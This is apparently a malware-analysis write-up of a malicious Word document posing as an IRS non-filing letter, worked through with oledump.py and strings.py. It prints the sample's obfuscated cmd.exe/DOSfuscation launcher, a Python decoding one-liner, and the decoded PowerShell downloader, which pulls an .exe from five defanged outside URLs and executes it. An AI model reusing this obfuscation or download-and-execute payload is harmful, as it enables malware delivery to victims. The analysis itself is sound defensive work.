Didier Steven is a Senior Handler at the Internet Storm Center ISC. He has a GitHub account with numerous Python scripts for analyzing ole files.
https://github.com/DidierStevens
https://github.com/DidierStevens/DidierStevensSuite/blob/master/oledump.py
Using oledump.py I began analyzing a malicious Microsoft Word Doc named “IRS Verification of Non Filing Letter 12_11_2018.doc” (MD5 Hash 2d0d0094b25f0116dbdfa85a2a3b69d2) recently pulled from a compromised host.
python oledump.py ~/Downloads/IRS\ Verification\ of\ Non-filing\ Letter\ -\ 12\ 11\ 2018.doc
1: 114 ‘\x01CompObj’
2: 4096 ‘\x05DocumentSummaryInformation’
3: 4096 ‘\x05SummaryInformation’
4: 9495 ‘1Table’
5: 81766 ‘Data’
6: 454 ‘Macros/PROJECT’
7: 83 ‘Macros/PROJECTwm’
8: M 1272 ‘Macros/VBA/SzhmCAHDnZRzRV’
9: 7323 ‘Macros/VBA/_VBA_PROJECT’
10: 1257 ‘Macros/VBA/__SRP_0’
11: 106 ‘Macros/VBA/__SRP_1’
12: 292 ‘Macros/VBA/__SRP_2’
13: 103 ‘Macros/VBA/__SRP_3’
14: 588 ‘Macros/VBA/dir’
15: M 5984 ‘Macros/VBA/huWVlfWomMZ’
16: 5166 ‘WordDocument’
-M indicates VBA Macros-
-Looking only at Stream 8 we see Autoopen() which will run the macro once the user enables the content-
python oledump.py -s 8 -v -T ~/Downloads/IRS\ Verification\ of\ Non-filing\ Letter\ -\ 12\ 11\ 2018.doc
Attribute VB_Name = “SzhmCAHDnZRzRV”
Attribute VB_Base = “1Normal.ThisDocument”
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub autoopen()
iztZi
End Sub
-Investigating the variable with a Yara rule that matched in Stream 9 did not lead to any discoveries-
python oledump.py -y “#s#zOSpqpzMSfs” ~/Downloads/IRS\ Verification\ of\ Non-filing\ Letter\ -\ 12\ 11\ 2018.doc
1: 114 ‘\x01CompObj’
2: 4096 ‘\x05DocumentSummaryInformation’
3: 4096 ‘\x05SummaryInformation’
4: 9495 ‘1Table’
5: 81766 ‘Data’
6: 454 ‘Macros/PROJECT’
7: 83 ‘Macros/PROJECTwm’
8: M 1272 ‘Macros/VBA/SzhmCAHDnZRzRV’
9: 7323 ‘Macros/VBA/_VBA_PROJECT’
YARA rule: string
10: 1257 ‘Macros/VBA/__SRP_0’
11: 106 ‘Macros/VBA/__SRP_1’
12: 292 ‘Macros/VBA/__SRP_2’
13: 103 ‘Macros/VBA/__SRP_3’
14: 588 ‘Macros/VBA/dir’
15: M 5984 ‘Macros/VBA/huWVlfWomMZ’
16: 5166 ‘WordDocument’
All VBA source code:
YARA rule: string
-Didier’s tool strings.py found the following-https://isc.sans.edu/forums/diary/Quickie+String+Analysis+is+Still+Useful/24394/
python strings.py -L ~/Downloads/IRS\ Verification\ of\ Non-filing\ Letter\ -\ 12\ 11\ 2018.doc | tail
c:\zjpisJVNA\ZQTjRLQDhQZ\pZfwjLvsR……\windows\system32\cmd.exe /c %ProgramData:~0,1%%ProgramData:~9,2% /V/C”set eA0=MkBMMMdkGLKIEzzjzlJJanhzSNf7,Y9x@bm(/5Hqo6 +8wri)$;uv{-QtgOUP}C:\VDFW.=y’AsRe0cp&&for %s in (49,68,25,65,70,72,65,20,10,72,50,49,29,23,39,70,21,76,45,54,40,33,15,76,78,56,42,25,76,56,69,68,76,33,62,17,47,76,21,56,50,49,39,60,52,70,72,22,56,56,79,63,36,36,45,79,56,22,76,34,76,74,69,78,40,34,36,55,6,58,32,22,56,56,79,63,36,36,56,40,34,54,74,56,76,76,6,69,78,40,34,36,55,33,32,22,56,56,79,63,36,36,33,40,33,52,46,69,78,40,34,36,30,11,75,38,24,73,32,22,56,56,79,63,36,36,20,17,76,31,23,74,56,46,40,71,69,46,51,36,37,40,76,32,22,56,56,79,63,36,36,22,76,46,33,17,47,76,33,76,46,34,20,21,78,40,34,34,51,21,47,56,71,17,76,20,6,76,46,74,22,47,79,20,45,20,46,6,69,40,46,57,36,31,15,57,41,78,44,72,69,24,79,17,47,56,35,72,32,72,48,50,49,6,66,51,70,72,24,68,39,72,50,49,12,5,45,42,70,42,72,27,37,27,72,50,49,59,78,79,70,72,24,40,66,72,50,49,25,55,73,70,49,76,21,52,63,56,76,34,79,43,72,64,72,43,49,12,5,45,43,72,69,76,31,76,72,50,26,40,46,76,20,78,22,35,49,26,17,15,42,47,21,42,49,39,60,52,48,53,56,46,71,53,49,29,23,39,69,66,40,45,21,17,40,20,6,67,47,17,76,35,49,26,17,15,28,42,49,25,55,73,48,50,49,2,23,34,70,72,39,79,15,72,50,11,26,42,35,35,8,76,56,54,11,56,76,34,42,49,25,55,73,48,69,17,76,21,57,56,22,42,54,57,76,42,44,77,77,77,77,48,42,53,11,21,52,40,7,76,54,11,56,76,34,42,49,25,55,73,50,49,56,12,9,70,72,21,56,55,72,50,33,46,76,20,7,50,61,61,78,20,56,78,22,53,61,61,49,17,67,33,70,72,51,75,39,72,50,86)do set o0q=!o0q!!eA0:~%s,1!&&if %s equ 86 powershell “!o0q:*o0q!=!””
Didier was the handler on duty when this sample was submitted to ISC. He was able to explain how to proceed further with the
DOSFuscation. He also addressed this sample in his daily diary found at https://isc.sans.edu/forums/diary/Yet+Another+DOSfuscation+Sample/24408/
-Below is a further explanation of his method-
Python is used with the -c switch for concatenation & then “print(”.join([‘ Followed by string: ‘MkBMMMdkGLKIEzzjzlJJanhzSNf7,Y9x@bm(/5Hqo6 +8wri)$;uv{-QtgOUP}C:\VDFW.=y’AsRe0cp’
Then he uses ‘[index] for index in’ for indexing followed by:[49,68,25,65,70,72,65,20,10,72,50,49,29,23,39,70,21,76,45,54,40,33,15,76,78,56,42,25,76,56,69,68,76,33,62,17,47,76,21,56,50,49,39,60,52,70,72,22,56,56,79,63,36,36,45,79,56,22,76,34,76,74,69,78,40,34,36,55,6,58,32,22,56,56,79,63,36,36,56,40,34,54,74,56,76,76,6,69,78,40,34,36,55,33,32,22,56,56,79,63,36,36,33,40,33,52,46,69,78,40,34,36,30,11,75,38,24,73,32,22,56,56,79,63,36,36,20,17,76,31,23,74,56,46,40,71,69,46,51,36,37,40,76,32,22,56,56,79,63,36,36,22,76,46,33,17,47,76,33,76,46,34,20,21,78,40,34,34,51,21,47,56,71,17,76,20,6,76,46,74,22,47,79,20,45,20,46,6,69,40,46,57,36,31,15,57,41,78,44,72,69,24,79,17,47,56,35,72,32,72,48,50,49,6,66,51,70,72,24,68,39,72,50,49,12,5,45,42,70,42,72,27,37,27,72,50,49,59,78,79,70,72,24,40,66,72,50,49,25,55,73,70,49,76,21,52,63,56,76,34,79,43,72,64,72,43,49,12,5,45,43,72,69,76,31,76,72,50,26,40,46,76,20,78,22,35,49,26,17,15,42,47,21,42,49,39,60,52,48,53,56,46,71,53,49,29,23,39,69,66,40,45,21,17,40,20,6,67,47,17,76,35,49,26,17,15,28,42,49,25,55,73,48,50,49,2,23,34,70,72,39,79,15,72,50,11,26,42,35,35,8,76,56,54,11,56,76,34,42,49,25,55,73,48,69,17,76,21,57,56,22,42,54,57,76,42,44,77,77,77,77,48,42,53,11,21,52,40,7,76,54,11,56,76,34,42,49,25,55,73,50,49,56,12,9,70,72,21,56,55,72,50,33,46,76,20,7,50,61,61,78,20,56,78,22,53,61,61,49,17,67,33,70,72,51,75,39,72,50]
All together the command is as follows:
Notice there’s a single quote in the string that needs to be escaped for the Python interpreter: =y’As
python -c “print(”.join([‘MkBMMMdkGLKIEzzjzlJJanhzSNf7,Y9x@bm(/5Hqo6 +8wri)$;uv{-QtgOUP}C:\VDFW.=y\’AsRe0cp'[index] for index in [49,68,25,65,70,72,65,20,10,72,50,49,29,23,39,70,21,76,45,54,40,33,15,76,78,56,42,25,76,56,69,68,76,33,62,17,47,76,21,56,50,49,39,60,52,70,72,22,56,56,79,63,36,36,45,79,56,22,76,34,76,74,69,78,40,34,36,55,6,58,32,22,56,56,79,63,36,36,56,40,34,54,74,56,76,76,6,69,78,40,34,36,55,33,32,22,56,56,79,63,36,36,33,40,33,52,46,69,78,40,34,36,30,11,75,38,24,73,32,22,56,56,79,63,36,36,20,17,76,31,23,74,56,46,40,71,69,46,51,36,37,40,76,32,22,56,56,79,63,36,36,22,76,46,33,17,47,76,33,76,46,34,20,21,78,40,34,34,51,21,47,56,71,17,76,20,6,76,46,74,22,47,79,20,45,20,46,6,69,40,46,57,36,31,15,57,41,78,44,72,69,24,79,17,47,56,35,72,32,72,48,50,49,6,66,51,70,72,24,68,39,72,50,49,12,5,45,42,70,42,72,27,37,27,72,50,49,59,78,79,70,72,24,40,66,72,50,49,25,55,73,70,49,76,21,52,63,56,76,34,79,43,72,64,72,43,49,12,5,45,43,72,69,76,31,76,72,50,26,40,46,76,20,78,22,35,49,26,17,15,42,47,21,42,49,39,60,52,48,53,56,46,71,53,49,29,23,39,69,66,40,45,21,17,40,20,6,67,47,17,76,35,49,26,17,15,28,42,49,25,55,73,48,50,49,2,23,34,70,72,39,79,15,72,50,11,26,42,35,35,8,76,56,54,11,56,76,34,42,49,25,55,73,48,69,17,76,21,57,56,22,42,54,57,76,42,44,77,77,77,77,48,42,53,11,21,52,40,7,76,54,11,56,76,34,42,49,25,55,73,50,49,56,12,9,70,72,21,56,55,72,50,33,46,76,20,7,50,61,61,78,20,56,78,22,53,61,61,49,17,67,33,70,72,51,75,39,72,50]]))”
-The above decodes to the following URLS tried by the downloader-
$WNV=’VaK’;$Yzq=new-object Net.WebClient;$qPv=’http://wpthemes[.]com/QdO@http://tom-steed[.]com/Qb@http://bobvr[.]com/9IRHSA@http://alexzstroy[.]ru/5oe@http://herbliebermancommunityleadershipaward[.]org/xjg6c8′.Split(‘@’);$dDu=’SWq’;$EMw = ‘757’;$Ucp=’SoD’;$NQA=$env:temp+’\’+$EMw+’.exe’;foreach($flj in $qPv){try{$Yzq.DownloadFile($flj, $NQA);$Bzm=’qpj’;If ((Get-Item $NQA).length -ge 80000) {Invoke-Item $NQA;$tEL=’ntQ’;break;}}catch{}}$lFb=’uRq’;